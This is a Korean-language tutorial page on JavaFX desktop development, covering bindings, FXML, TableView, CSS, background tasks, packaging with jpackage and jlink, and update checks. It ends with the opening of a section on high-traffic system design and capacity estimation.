바인딩이 실제로 없애 주는 것 — "갱신하는 코드" 바인딩 없이 — 값을 바꾼 곳마다 화면 갱신을 직접 model.count++ label.setText(...) 직접 갱신할 곳이 열 군데면 열 번 써야 하고 하나만 빠뜨려도 화면과 데이터가 어긋납니다 바인딩 — 한 번 연결해 두면 끝 count.set(n) 연결된 컨트롤 자동 갱신 라벨 · 버튼 활성화 · 진행률이 한꺼번에 갱신 코드가 아예 존재하지 않습니다 UI 버그의 큰 몫은 "데이터는 맞는데 화면이 안 바뀐다"입니다 — 갱신 호출을 빠뜨렸기 때문입니다. 바인딩은 그 실수를 할 자리 자체를 없앱니다. 코드를 줄이는 것이 아니라 버그의 종류를 없애는 것입니다. 주의 ①: bind() 를 건 프로퍼티에 setText 를 직접 부르면 예외가 납니다 — 소유권이 바인딩에 넘어갑니다. 주의 ②: 프로퍼티 변경은 반드시 FX 애플리케이션 스레드에서. 백그라운드에서 바꾸면 화면이 깨집니다. 주의 ③: 오래 사는 프로퍼티에 리스너를 붙이면 화면이 닫혀도 참조가 남습니다 — 해제하거나 약한 리스너를 쓰세요.
WPF·SwiftUI·React 가 각자의 방식으로 하는 일과 같은 발상입니다 — 상태를 선언하면 화면이 따라온다.

바인딩 실전 — 폼 하나를 통째로 묶기

모델을 프로퍼티로 만들면

public class OrderForm {
    private final StringProperty  customer = new SimpleStringProperty("");
    private final IntegerProperty qty      = new SimpleIntegerProperty(1);
    private final IntegerProperty price    = new SimpleIntegerProperty(0);
    private final BooleanProperty saving   = new SimpleBooleanProperty(false);

    // 계산된 값 — 수량이나 단가가 바뀌면 자동으로 다시 계산됩니다
    public final IntegerBinding total =
            Bindings.createIntegerBinding(
                    () -> qty.get() * price.get(), qty, price);

    // 유효성도 바인딩으로
    public final BooleanBinding invalid =
            customer.isEmpty()
                .or(qty.lessThanOrEqualTo(0))
                .or(price.lessThanOrEqualTo(0));

    public StringProperty  customerProperty() { return customer; }
    public IntegerProperty qtyProperty()      { return qty; }
    public IntegerProperty priceProperty()    { return price; }
    public BooleanProperty savingProperty()   { return saving; }

    // Spinner 연결용 — asObject() 결과는 꼭 필드로 붙잡아 둡니다 (아래 설명)
    public final ObjectProperty<Integer> qtyObject = qty.asObject();
}
// 화면과 묶기 — 이게 전부입니다
customerField.textProperty().bindBidirectional(form.customerProperty());
// 양방향 바인딩은 양쪽을 약한 참조로만 쥡니다 — 여기서 form.qtyProperty().asObject() 를
// 바로 넘기면 그 임시 객체가 GC 되는 순간 연결이 조용히 끊깁니다
qtySpinner.getValueFactory().valueProperty()
          .bindBidirectional(form.qtyObject);

totalLabel.textProperty().bind(form.total.asString("합계 %,d 원"));

// 저장 중이거나 입력이 부족하면 버튼 비활성화 — 조건이 늘어도 여기만 고칩니다
saveButton.disableProperty().bind(form.invalid.or(form.savingProperty()));
progress.visibleProperty().bind(form.savingProperty());

자주 걸리는 것

증상원인
bound value cannot be setbind() 걸린 프로퍼티에 setText 직접 호출
백그라운드에서 바꾸니 예외FX 스레드가 아님 — Platform.runLater
바인딩이 조용히 끊김중간 바인딩을 지역 변수로만 두면 GC 됩니다
창을 닫아도 메모리가 안 줄어듦오래 사는 프로퍼티에 리스너를 붙이고 안 뗌
값이 두 번 갱신됨양방향 바인딩 + 리스너를 함께 걸었을 때
// ✗ 중간 바인딩을 지역 변수로 두고 리스너만 달면 GC 되어 조용히 멈춥니다
//   (바인딩은 원본 프로퍼티를 약한 참조로만 구독합니다 — b 를 붙잡는 곳이 없음)
{
    var b = form.qtyProperty().multiply(form.priceProperty());
    b.addListener((obs, o, n) -> updateChart(n));
}   // b 가 수거되면 리스너도 함께 끊깁니다
//   label.textProperty().bind(b.asString()) 처럼 UI 에 bind 해 두면
//   라벨이 b 를 붙잡으므로 이 문제는 없습니다

// ✓ 필드로 보관하세요
private final NumberBinding total =
        form.qtyProperty().multiply(form.priceProperty());

// ✗ 백그라운드 스레드에서 UI 프로퍼티 변경
new Thread(() -> statusLabel.setText("완료")).start();   // 예외가 나거나, 예외 없이 화면이 깨집니다

// ✓ FX 스레드로 넘기거나
Platform.runLater(() -> statusLabel.setText("완료"));

// ✓✓ Task 를 쓰면 애초에 그럴 일이 없습니다 (x09 참고)
Task<List<Order>> task = new Task<>() {
    @Override protected List<Order> call() { return repo.findAll(); }
};
task.setOnSucceeded(e -> table.getItems().setAll(task.getValue()));
progressBar.progressProperty().bind(task.progressProperty());

// 리스너 해제 — 창이 닫힐 때
ChangeListener<String> l = (o, ov, nv) -> filter(nv);
model.keywordProperty().addListener(l);
stage.setOnHidden(e -> model.keywordProperty().removeListener(l));
바인딩을 걸었으면 그 프로퍼티는 더 이상 직접 건드리지 마세요. bind() 는 소유권을 넘기는 것에 가깝습니다 — 값을 바꾸고 싶으면 원본 프로퍼티를 바꿔야 합니다. 양방향이 필요하면 bindBidirectional 을 쓰되, 같은 프로퍼티에 리스너까지 붙이면 갱신이 두 번 도는 일이 생깁니다.
FX 06

FXML · Scene Builder

화면을 코드가 아니라 XML 로 분리합니다. 드래그&드롭 도구로 그릴 수 있습니다.

FXML 파일

<?xml version="1.0" encoding="UTF-8"?>
<?import javafx.scene.control.*?>
<?import javafx.scene.layout.*?>

<VBox xmlns:fx="http://javafx.com/fxml"
      fx:controller="com.myapp.OrderController"
      spacing="10" prefWidth="600" prefHeight="400">

  <padding><Insets top="16" right="16" bottom="16" left="16"/></padding>

  <HBox spacing="8">
    <TextField fx:id="searchField" promptText="검색어" HBox.hgrow="ALWAYS"/>
    <Button text="검색" onAction="#onSearch"/>
  </HBox>

  <TableView fx:id="orderTable" VBox.vgrow="ALWAYS">
    <columns>
      <TableColumn fx:id="noCol" text="주문번호" prefWidth="140"/>
      <TableColumn fx:id="nameCol" text="고객명" prefWidth="120"/>
      <TableColumn fx:id="amountCol" text="금액" prefWidth="100"/>
    </columns>
  </TableView>

  <Label fx:id="statusLabel" text="준비됨"/>
</VBox>

컨트롤러

public class OrderController {

    @FXML private TextField searchField;      // fx:id 와 이름이 같아야 함
    @FXML private TableView<OrderRow> orderTable;
    @FXML private TableColumn<OrderRow, String> noCol;
    @FXML private TableColumn<OrderRow, Integer> amountCol;
    @FXML private Label statusLabel;

    private final ObservableList<OrderRow> data = FXCollections.observableArrayList();

    @FXML
    public void initialize() {                 // FXML 로드 후 자동 호출 ★
        noCol.setCellValueFactory(new PropertyValueFactory<>("orderNo"));
        amountCol.setCellValueFactory(new PropertyValueFactory<>("amount"));
        orderTable.setItems(data);
        load();
    }

    @FXML
    private void onSearch() {                  // onAction="#onSearch"
        String keyword = searchField.getText();
        statusLabel.setText(keyword + " 검색 중...");
        load();
    }
}

// 로드
FXMLLoader loader = new FXMLLoader(getClass().getResource("/view/order.fxml"));
Parent root = loader.load();
OrderController controller = loader.getController();   // 컨트롤러 참조가 필요하면
Scene Builder — Gluon 에서 무료로 받을 수 있습니다. IntelliJ 에서 FXML 을 우클릭 → “Open in SceneBuilder” 로 연동됩니다. 드래그&드롭으로 배치하고 fx:id 만 붙이면 됩니다.
화면은 파일로, 동작은 코드로 — 둘을 fx:id 로 잇습니다 main.fxml <Button fx:id="saveBtn" onAction="#onSave" /> Scene Builder 로 끌어다 놓기 fx:id onAction MainController @FXML private Button saveBtn; @FXML void onSave(ActionEvent e) initialize() 에서 초기 설정 FXMLLoader 파일을 읽어 화면을 만들고 둘을 연결합니다 자주 만나는 오류 필드가 null — fx:id 와 필드 이름이 다르거나 @FXML 을 안 붙였습니다 LoadException — fx:controller 경로 오타가 대부분 이 구조가 주는 것 화면 배치를 바꿔도 컨트롤러 코드는 그대로 디자이너·기획자가 Scene Builder 로 직접 손볼 수 있습니다 화면이 여럿이면 fxml 과 컨트롤러를 짝지어 나눕니다
코드로 화면을 조립하는 방식보다 고치는 비용이 훨씬 쌉니다.
같은 이름끼리 이어집니다 — 선 하나가 끊기면 null 이나 LoadException main.fxml — 화면 MainController — 동작 <VBox fx:controller="app.MainController"> <TextField fx:id="nameField"/> <Button fx:id="saveBtn" onAction="#onSave"/> </VBox> class MainController { @FXML TextField nameField; @FXML Button saveBtn; @FXML void onSave(ActionEvent e) void initialize() { … } 노랑 = fx:id ↔ 필드 이름 · 초록 = onAction ↔ 메서드 이름 필드가 null → fx:id 와 이름이 다르거나 @FXML 이 빠짐 · LoadException → fx:controller 경로 오타 FXMLLoader.load() 가 이 줄들을 잇고, 다 이은 뒤에 initialize() 를 부릅니다 화면 배치를 바꿔도 컨트롤러 코드는 그대로 — Scene Builder 로 직접 손볼 수 있습니다
코드로 화면을 조립하는 방식보다 고치는 비용이 훨씬 쌉니다.
FX 07

TableView · 데이터 바인딩

업무용 프로그램의 90%는 결국 표입니다. 여기만 잘 다루면 됩니다.

// 1) 모델 — JavaFX 프로퍼티를 쓰면 값 변경이 표에 자동 반영됩니다
public class OrderRow {
    private final StringProperty orderNo = new SimpleStringProperty();
    private final StringProperty customerName = new SimpleStringProperty();
    private final IntegerProperty amount = new SimpleIntegerProperty();
    private final ObjectProperty<LocalDate> orderDate = new SimpleObjectProperty<>();

    public OrderRow(String no, String name, int amount, LocalDate date) {
        this.orderNo.set(no);
        this.customerName.set(name);
        this.amount.set(amount);
        this.orderDate.set(date);
    }

    public StringProperty orderNoProperty() { return orderNo; }      // ★ 이 이름 규칙
    public StringProperty customerNameProperty() { return customerName; }
    public IntegerProperty amountProperty() { return amount; }
    public ObjectProperty<LocalDate> orderDateProperty() { return orderDate; }

    public String getOrderNo() { return orderNo.get(); }
    public String getCustomerName() { return customerName.get(); }   // 아래 검색 필터가 씁니다
    public int getAmount() { return amount.get(); }
    public void setAmount(int v) { amount.set(v); }    // 값을 바꾸면 표가 자동 갱신 ✅
}

// 2) 컬럼 연결
TableView<OrderRow> table = new TableView<>();

TableColumn<OrderRow, String> noCol = new TableColumn<>("주문번호");
noCol.setCellValueFactory(c -> c.getValue().orderNoProperty());

TableColumn<OrderRow, Number> amountCol = new TableColumn<>("금액");
amountCol.setCellValueFactory(c -> c.getValue().amountProperty());

// 3) 셀 서식 — 금액에 콤마, 조건부 색상
amountCol.setCellFactory(col -> new TableCell<>() {
    @Override
    protected void updateItem(Number value, boolean empty) {
        super.updateItem(value, empty);
        if (empty || value == null) {
            setText(null);
            setStyle("");
        } else {
            setText(String.format("%,d원", value.intValue()));
            setAlignment(Pos.CENTER_RIGHT);
            setStyle(value.intValue() >= 100000
                    ? "-fx-text-fill: #e74c3c; -fx-font-weight: bold;" : "");
        }
    }
});

// 4) 데이터 연결 + 정렬 + 필터
ObservableList<OrderRow> master = FXCollections.observableArrayList(rows);
FilteredList<OrderRow> filtered = new FilteredList<>(master, r -> true);
SortedList<OrderRow> sorted = new SortedList<>(filtered);
sorted.comparatorProperty().bind(table.comparatorProperty());
table.setItems(sorted);
table.getColumns().addAll(noCol, amountCol);

// 검색창과 연결 — 입력하면 즉시 필터링 ★
searchField.textProperty().addListener((obs, old, keyword) ->
    filtered.setPredicate(row ->
        keyword == null || keyword.isBlank()
            || row.getOrderNo().contains(keyword)
            || row.getCustomerName().contains(keyword)));

// 5) 편집 가능하게
table.setEditable(true);
// ★ 3) 의 셀 팩토리를 덮어씁니다 — 콤마·색 서식이 사라집니다.
//   서식과 편집을 함께 원하면 TextFieldTableCell 을 상속해 updateItem 에 3) 의 서식을 넣으세요
amountCol.setCellFactory(TextFieldTableCell.forTableColumn(
        new NumberStringConverter()));
amountCol.setOnEditCommit(e ->
        e.getRowValue().setAmount(e.getNewValue().intValue()));

// 6) 우클릭 메뉴 · 더블클릭
ContextMenu menu = new ContextMenu(new MenuItem("삭제"));
table.setContextMenu(menu);
table.setRowFactory(tv -> {
    TableRow<OrderRow> row = new TableRow<>();
    row.setOnMouseClicked(e -> {
        if (e.getClickCount() == 2 && !row.isEmpty()) openDetail(row.getItem());
    });
    return row;
});
데이터를 바꾸면 화면이 따라옵니다 — 반대가 아닙니다 ObservableList<User> 데이터의 원본 add · remove 하면 즉시 반영 TableView setItems(list) 화면은 목록을 바라봅니다 TableColumn 어떤 속성을 보일지 PropertyValueFactory 보이는 모양을 바꾸려면 셀 팩토리 날짜 형식 · 금액 콤마 · 상태 배지 · 버튼 넣기 셀은 재사용됩니다 — updateItem 에서 빈 경우를 꼭 처리하세요 검색·정렬은 감싸서 FilteredList → SortedList 로 감싸면 원본을 건드리지 않고 걸러 내고 정렬합니다 수십만 행이라면 전부 담지 마세요 — 페이징하거나 필요한 만큼만 불러오는 방식으로(x11) 데이터 변경은 반드시 UI 스레드에서 — 백그라운드에서 목록을 고치면 화면이 깨집니다(x09)
화면을 직접 그리지 않고 목록만 관리하는 것이 이 구조의 핵심입니다.
10,000명이 표에 닿기까지 — 코드는 맨 왼쪽만 고치고, 나머지는 따라옵니다 ObservableList 원본 10,000명 FilteredList 412명 SortedList 412명 TableView 셀 약 25개 add · remove 는 여기에만 원본이 유일한 진실 검색어 'kim' 원본은 그대로 둠 이름순 정렬 개수는 같고 순서만 보이는 행만 셀 생성 스크롤하면 셀 재사용 table.setItems(sorted) — 표는 마지막 래퍼만 압니다 열 머리 정렬을 살리려면 sorted.comparatorProperty() 를 표의 것에 bind 수십만 행이면 원본부터 줄이세요 — 페이징 · 필요한 만큼만 불러오기(x11) 목록 변경은 반드시 UI 스레드에서 — 백그라운드에서 고치면 화면이 깨집니다(x09)
화면을 직접 그리지 않고 목록만 관리하는 것이 이 구조의 핵심입니다.
FX 08

CSS 스타일링

웹 CSS 와 문법이 거의 같습니다. 속성 이름 앞에 -fx- 가 붙는 것만 다릅니다.

/* style.css */
.root {
    -fx-font-family: "맑은 고딕", sans-serif;
    -fx-font-size: 13px;
    -fx-background-color: #f5f6f8;
}

.button {
    -fx-background-color: #3b82f6;
    -fx-text-fill: white;
    -fx-font-weight: bold;
    -fx-padding: 8 18;
    -fx-background-radius: 8;
    -fx-cursor: hand;
}
.button:hover  { -fx-background-color: #2563eb; }
.button:pressed{ -fx-background-color: #1d4ed8; }
.button:disabled { -fx-opacity: 0.5; }

/* 직접 만든 클래스 */
.danger-button {
    -fx-background-color: #ef4444;
}

.text-field {
    -fx-background-radius: 6;
    -fx-border-color: #d1d5db;
    -fx-border-radius: 6;
    -fx-padding: 7 10;
}
.text-field:focused {
    -fx-border-color: #3b82f6;
    -fx-effect: dropshadow(gaussian, rgba(59,130,246,.35), 6, 0, 0, 0);
}

.table-view .column-header {
    -fx-background-color: #1f2937;
}
.table-view .column-header .label {
    -fx-text-fill: white;
    -fx-font-weight: bold;
}
.table-row-cell:selected {
    -fx-background-color: #dbeafe;
    -fx-text-fill: #111;
}

적용하기

// 전체에 적용
scene.getStylesheets().add(
        getClass().getResource("/style.css").toExternalForm());

// 특정 노드에만
node.getStylesheets().add(...);

// 클래스 붙이기
deleteButton.getStyleClass().add("danger-button");
deleteButton.getStyleClass().removeAll("danger-button");

// 상태에 따라 토글
node.getStyleClass().removeAll("error", "ok");
node.getStyleClass().add(isValid ? "ok" : "error");

// 인라인 (급할 때만)
label.setStyle("-fx-text-fill: red; -fx-font-size: 16px;");

// id 선택자 (#myButton)
button.setId("myButton");
자주 쓰는 속성용도
-fx-background-color배경색
-fx-text-fill글자색 (color 아님!)
-fx-padding: 8 16안쪽 여백 (단위 없음)
-fx-background-radius모서리 둥글기
-fx-border-color / -width테두리
-fx-effect: dropshadow(...)그림자
-fx-alignment정렬
-fx-opacity투명도
기본 테마가 촌스럽다면 — AtlantaFX(io.github.mkpaz:atlantafx-base)를 넣으면 한 줄로 현대적인 테마가 적용됩니다. Application.setUserAgentStylesheet(new PrimerLight().getUserAgentStylesheet());
FX 09

백그라운드 작업

여기가 JavaFX 에서 가장 많이 실수하는 곳입니다. 화면이 얼어붙는 원인이 전부 여기에 있습니다.

절대 규칙 — 모든 UI 조작은 JavaFX 애플리케이션 스레드에서만 해야 합니다.
· UI 스레드에서 오래 걸리는 작업(DB·파일·API)을 하면 화면이 멈춥니다.
· 반대로 다른 스레드에서 UI 를 건드리면 IllegalStateException: Not on FX application thread 가 나거나(노드 추가·창 열기 등), 검사하지 않는 조작(setText 등)은 예외 없이 화면이 조용히 깨집니다 — 예외가 안 났다고 안전한 게 아닙니다.
❌ 화면이 얼어붙습니다
button.setOnAction(e -> {
    List<Order> orders = api.fetchAll();   // 5초 걸림
    table.setItems(FXCollections.observableArrayList(orders));
});
// 5초 동안 창이 하얗게 되고 "응답 없음"
✅ Task 로 분리
Task<List<Order>> task = new Task<>() {
    @Override
    protected List<Order> call() {          // 백그라운드에서 실행
        return api.fetchAll();               // UI 를 건드리지 않는다
    }
};

task.setOnSucceeded(e ->                    // UI 스레드에서 자동 실행 ✅
        table.setItems(FXCollections.observableArrayList(task.getValue())));
task.setOnFailed(e -> showError(task.getException()));

new Thread(task).start();

진행률까지 표시하기

Task<Void> task = new Task<>() {
    @Override
    protected Void call() throws Exception {
        int total = files.size();
        for (int i = 0; i < total; i++) {
            if (isCancelled()) break;              // 취소 지원
            process(files.get(i));
            updateProgress(i + 1, total);          // 진행률
            updateMessage("처리 중: " + files.get(i).getName());
        }
        return null;
    }
};

progressBar.progressProperty().bind(task.progressProperty());
statusLabel.textProperty().bind(task.messageProperty());
cancelButton.setOnAction(e -> task.cancel());

task.setOnSucceeded(e -> {
    progressBar.progressProperty().unbind();       // ★ 바인딩 해제
    statusLabel.textProperty().unbind();
    statusLabel.setText("완료");
});

// 스레드 풀로 관리 (가상 스레드도 가능)
ExecutorService pool = Executors.newVirtualThreadPerTaskExecutor();
pool.submit(task);

Platform.runLater · 애니메이션

// 다른 스레드에서 UI 를 건드려야 할 때
new Thread(() -> {
    String result = heavyWork();
    Platform.runLater(() -> label.setText(result));   // UI 스레드로 넘김 ✅
}).start();

// 주기 실행 (UI 스레드에서 안전하게)
Timeline timeline = new Timeline(
        new KeyFrame(Duration.seconds(5), e -> refresh()));
timeline.setCycleCount(Timeline.INDEFINITE);
timeline.play();

// 애니메이션
FadeTransition fade = new FadeTransition(Duration.millis(300), node);
fade.setFromValue(0);
fade.setToValue(1);
fade.play();

TranslateTransition move = new TranslateTransition(Duration.millis(400), node);
move.setByX(100);
move.play();

// 여러 개 동시에
new ParallelTransition(fade, move).play();
// 순서대로
new SequentialTransition(fade, move).play();
Service 는 Task 를 재사용할 수 있게 감싼 것입니다. “새로고침 버튼을 여러 번 누르는” 화면이라면 Service<T> 를 만들고 restart() 를 호출하는 편이 깔끔합니다.
같은 6초 작업 — 어느 스레드에서 돌리느냐로 창이 굳거나 살아 있습니다 ① 버튼 핸들러에서 바로 읽기 JavaFX 스레드 readFile() 6초 — 이벤트 · 그리기 정지 화면 프레임 한 장도 안 그려짐 5초 — Windows '응답 없음' ② Task 로 워커에 넘기기 화면 프레임 워커 스레드 readFile() 6초 updateProgress succeeded 0 2 s 4 s 6 s 진행률은 updateProgress 로 — 워커에서 UI 를 직접 만지면 예외가 납니다 취소는 워커가 isCancelled() 를 주기적으로 확인해야 먹힙니다 setOnFailed 를 비워 두면 실패해도 사용자는 멈춘 줄 압니다
데스크탑 앱의 완성도는 기다리는 동안 창이 살아 있는가에서 갈립니다.
FX 10

실행 파일로 배포

사용자가 자바를 설치하지 않아도 돌아가는 프로그램으로 만듭니다.

jpackage — JDK 내장 (권장)

# 1) 실행 가능한 jar 를 먼저 만든다
./gradlew build
#    ★ build/libs 에는 내 jar 하나뿐입니다. JavaFX jar 가 없으면 설치본이
#      "JavaFX runtime components are missing" 으로 뜨지 않습니다 —
#      의존성 jar 까지 한 폴더에 모아 --input 으로 주거나(installDist 의 lib),
#      아래 jlink 플러그인 방식으로 런타임에 JavaFX 모듈을 넣으세요

# 2) 런타임을 포함한 설치 파일 생성
jpackage \
  --name "주문관리" \
  --app-version 1.0.0 \
  --input build/libs \
  --main-jar myapp-1.0.0.jar \
  --main-class com.myapp.MainApp \
  --icon src/main/resources/icon.ico \
  --type msi \
  --win-shortcut --win-menu \
  --java-options "-Xmx1g -Dfile.encoding=UTF-8" \
  --dest dist

# --type 선택
#   윈도우: msi, exe      맥: dmg, pkg      리눅스: deb, rpm
#   app-image : 설치 없이 폴더째 실행 (USB 배포에 편함)
// Gradle 플러그인으로 자동화 (org.beryx.jlink)
jlink {
    options = listOf("--strip-debug", "--no-header-files", "--no-man-pages")
    launcher {
        name = "주문관리"
        jvmArgs = listOf("-Dfile.encoding=UTF-8")
    }
    jpackage {
        icon = "src/main/resources/icon.ico"
        installerType = "msi"
        installerOptions = listOf("--win-shortcut", "--win-menu")
    }
}
// ./gradlew jpackage

배포 체크리스트

  • 인코딩 — JDK 18 부터 file.encoding 기본값이 UTF-8 이라 25 에서는 생략해도 되지만, -Dfile.encoding=UTF-8 을 명시해 두면 JDK 17 이하 런타임에서도 윈도우 한글이 안 깨집니다
  • 아이콘 — 윈도우는 .ico, 맥은 .icns
  • 설정 파일 위치 — 설치 폴더는 쓰기 권한이 없을 수 있습니다. 사용자 설정은 System.getProperty("user.home") 아래에 저장하세요
  • DB 접속 정보를 프로그램에 넣지 마세요 — 디컴파일하면 다 보입니다. 서버 API 를 거치게 만드세요
  • 자동 업데이트가 필요하면 시작 시 버전을 확인해 안내하는 정도로 시작
  • 로그를 파일로 남기세요 — 사용자 PC 에서 무슨 일이 났는지 알 방법이 그것뿐입니다
// 설정 저장 위치
Path configDir = Path.of(System.getProperty("user.home"), ".myapp");
Files.createDirectories(configDir);
Path config = configDir.resolve("config.properties");

// 사용자 설정 간단 저장 (Preferences API)
Preferences prefs = Preferences.userNodeForPackage(MainApp.class);
prefs.put("lastPath", path);
String last = prefs.get("lastPath", "");
파이썬으로도 같은 걸 만든다면 — 🐍 파이썬 가이드의 PySide6 탭과 PyInstaller 부분이 정확히 같은 역할을 합니다. 개념은 그대로 옮겨집니다.
남의 PC 까지 — 앞으로만 가는 네 단계 내 앱 module-info + JavaFX jlink 필요한 모듈만 런타임으로 jpackage .msi · .dmg · .deb 남의 PC 더블클릭 · 자바 설치 없음 OS 마다 따로 — 윈도우용 설치 파일은 윈도우에서 빌드 함께 보내는 자바 런타임 크기 (대표값) JDK 통째로 약 300 MB jlink 결과 약 60 MB — --strip-debug · --compress 서명이 없으면 OS 가 경고를 띄웁니다 — 사내 배포라면 내부 인증서로도 됩니다 자바가 없는 깨끗한 PC 에서 한 번 실행해 보세요 — 문제는 대부분 여기서 드러납니다
데스크탑 배포의 완성은 빌드가 아니라 남의 PC 에서 두 번 클릭으로 열리는 것입니다.
JAVAFX 11

대용량 화면 — 수십만 행을 끊김 없이

사내 도구가 느려지는 이유는 대부분 “조회 결과를 전부 화면에 올려서” 입니다. TableView 는 이미 가상화를 하고 있지만, 쓰는 쪽이 망가뜨리기 쉽습니다.

셀 팩토리 — 매번 새로 만들지 않는다

스크롤할 때마다 노드 생성
col.setCellFactory(c -> new TableCell<>() {
  @Override protected void updateItem(Money v, boolean empty) {
    super.updateItem(v, empty);
    Label l = new Label();          // ★ 매 호출마다 새 노드
    l.setText(fmt(v));
    setGraphic(l);
  }
});
노드는 한 번, 값만 갱신
col.setCellFactory(c -> new TableCell<>() {
  private final Label l = new Label();   // 셀당 하나
  @Override protected void updateItem(Money v, boolean empty) {
    super.updateItem(v, empty);
    if (empty || v == null) { setGraphic(null); return; }
    l.setText(fmt(v));
    setGraphic(l);
  }
});
updateItem 은 스크롤 중 초당 수백 번 불립니다. 여기서 DB 조회·파일 읽기·포맷터 생성을 하면 즉시 버벅입니다. DateTimeFormatter·NumberFormat 은 static final 로 밖에 빼세요.

화면에 다 올리지 않는다 — 페이지 로딩

// 정렬·필터는 DB 에 맡기고, 화면에는 필요한 만큼만 올린다
public class LazyRows extends AbstractList<Row> {
    private final Map<Integer, List<Row>> pages = new LinkedHashMap<>() {
        protected boolean removeEldestEntry(Map.Entry<Integer, List<Row>> e) {
            return size() > 20;                   // 최근 20페이지만 보관
        }
    };
    private final int total, pageSize = 200;

    public LazyRows(int total) { this.total = total; }   // 전체 건수만 먼저 받는다

    @Override public Row get(int i) {
        List<Row> page = pages.computeIfAbsent(i / pageSize, repo::loadPage);
        return page.get(i % pageSize);
    }
    @Override public int size() { return total; }
}

table.setItems(FXCollections.observableList(new LazyRows(repo.count())));
  • SortedList·FilteredList 는 전체를 메모리에 둘 때만 유효합니다. 수십만 행이면 정렬·필터를 DB 로 내리세요
  • 차트는 점을 줄여서(다운샘플링) 그립니다 — 화면 폭이 1,200px 인데 10만 점을 그릴 이유가 없습니다
  • 업데이트가 잦다면 변경분만 갱신하고, 전체 setAll() 을 피하세요
측정부터 하세요. -Djavafx.pulseLogger=true 를 켜면 프레임마다 어느 단계가 오래 걸리는지 찍힙니다. “느낌상 느리다”로 최적화하면 대개 엉뚱한 곳을 고칩니다.
JAVAFX 12

배포한 뒤 — 자동 업데이트 · 운영

사내 PC 50대에 깔린 앱의 버전이 제각각이 되는 순간 “재현이 안 되는 버그”가 시작됩니다. 배포는 설치가 아니라 운영입니다.

jpackage — JRE 를 품은 설치본

# 1) 필요한 모듈만 담은 런타임을 만든다 (용량 절반 이하)
#    JavaFX 는 JDK 에 없으므로 javafx-jmods 폴더를 --module-path 로 알려 줘야 합니다
jlink --module-path "$JAVAFX_JMODS" \
      --add-modules java.base,java.logging,java.sql,\
javafx.controls,javafx.fxml \
      --strip-debug --no-header-files --no-man-pages --compress=zip-6 \
      --output build/runtime

# 2) 설치 파일 생성
jpackage --type msi \
  --name "사내도구" --app-version 3.4.0 \
  --runtime-image build/runtime \
  --input build/libs --main-jar app.jar \
  --main-class com.acme.App \
  --icon app.ico \
  --win-dir-chooser --win-menu --win-shortcut \
  --win-upgrade-uuid 0f6c1d5e-....   # ★ 버전 올릴 때 덮어쓰기 되는 열쇠
--win-upgrade-uuid 를 매번 바꾸면 새 버전이 기존 앱을 덮지 않고 따로 설치됩니다. 제어판에 같은 앱이 여러 개 쌓이는 사고가 여기서 납니다 — 이 값은 앱의 수명 동안 고정입니다.

업데이트 확인 · 강제 버전

// 시작 시 조용히 확인하고, 필요할 때만 알린다
public void checkUpdate() {
    CompletableFuture.supplyAsync(() -> http.get(UPDATE_URL, Manifest.class))
        .thenAccept(m -> Platform.runLater(() -> {
            if (!isNewer(m.version(), APP_VERSION)) return;

            if (m.minSupported() != null && isOlder(APP_VERSION, m.minSupported())) {
                // 서버 API 가 깨지는 변경 — 업데이트 전엔 못 쓰게 막는다
                blockingUpdateDialog(m);
            } else {
                updateBanner(m);          // 배너만 띄우고 작업은 방해하지 않는다
            }
        }))
        .exceptionally(e -> { log.warn("update check failed", e); return null; });
}
  • 강제 업데이트 스위치를 처음부터 만들어 두세요 — 서버 API 를 바꿔야 할 때 유일한 탈출구입니다
  • 서명하세요. 서명 없는 msi 는 SmartScreen·백신에 막힙니다
  • 크래시 로그를 남기세요 — Thread.setDefaultUncaughtExceptionHandler 로 파일에 쓰고, 사용자가 버튼 하나로 보낼 수 있게 하세요
  • 로그는 %LOCALAPPDATA%·~/Library/Logs 에 — 설치 폴더에 쓰면 권한 오류가 납니다
같은 고민을 다른 스택에서는 — 🟨 JS·TS 가이드의 Electron 16 코드 서명 · 배포 채널, 🐍 파이썬 가이드의 PySide6 탭이 같은 자리를 다룹니다. 업데이트·서명·크래시 수집은 언어와 무관하게 똑같이 필요합니다.
HIGH TRAFFIC · 대규모 시스템 설계

사용자가
10만 명이
되는 순간

기능은 똑같은데 사람이 많아지면 전부 무너집니다. DB 커넥션이 마르고, 캐시가 한꺼번에 만료되고, 재고가 마이너스로 팔립니다. 대기업 면접에서 실제로 묻는 건 문법이 아니라 이 장면들을 겪어 봤는가입니다.

16SECTIONS
p99보는 지표
RedisKafka · 분산락
0중복 결제
SCALE 01

트래픽을 숫자로 읽는 법

“많다·느리다”로는 아무것도 못 고칩니다. 먼저 단위를 손에 익히세요.

알아야 하는 단위 네 개

단위뜻과 감각
RPS / TPS초당 요청 수. “DAU 100만·1인당 20요청·피크가 평균의 5배”면 100만×20÷86400×5 ≈ 1,150 RPS
지연(Latency)요청 하나가 끝나기까지 걸린 시간. 평균이 아니라 p95·p99를 봅니다
동시성같은 순간 처리 중인 요청 수. 스레드·커넥션이 여기에 묶입니다
처리량(Throughput)시간당 실제로 끝낸 일의 양. RPS 를 버텨 낸 결과
평균 응답시간은 거짓말을 합니다. 100명 중 99명이 50ms, 1명이 5초여도 평균은 100ms 입니다. 그 1명이 매일 1만 명이면 민원은 그쪽에서 옵니다. 지표는 p99 로 합의하세요.

리틀의 법칙 — 딱 하나만 외운다면

동시 처리 건수 = 도착률(RPS) × 평균 처리시간(초)

예) 500 RPS · 평균 200ms
    → 500 × 0.2 = 100 건이 항상 서버 안에 떠 있다
    → 스레드(또는 커넥션)가 100개는 있어야 밀리지 않는다

예) 같은 500 RPS 인데 외부 API 가 느려져 2초가 됐다
    → 500 × 2 = 1,000 건
    → 톰캣 기본 스레드 200개로는 즉시 대기열 폭발
    → 요청은 큐에 쌓이고, 응답시간은 눈덩이처럼 커진다
장애의 90%는 이 식 하나로 설명됩니다. “왜 갑자기 전부 느려졌지?” → 대개 처리시간이 늘어 동시 건수가 한도를 넘은 것입니다. 트래픽이 늘지 않아도 의존하는 쪽이 느려지면 똑같이 무너집니다.

용량 산정 — 면접에서 자주 시키는 계산

순서대로 따라가면 됩니다

1) DAU 와 1인당 요청 수 → 하루 총 요청
2) ÷ 86,400 → 평균 RPS
3) × 피크 배수(보통 3~10) → 피크 RPS
4) 리틀의 법칙 → 필요한 동시 처리 수
5) 서버 1대가 감당하는 RPS 로 나눔 → 필요한 대수
6) 저장량 = 하루 데이터량 × 보관 기간 × 복제본 수

체크: 읽기:쓰기 비율은? (보통 읽기가 9배 이상)
      → 읽기가 압도적이면 캐시·읽기 복제본이 먼저다

서버 1대의 감각 (JVM · 8vCPU 기준)

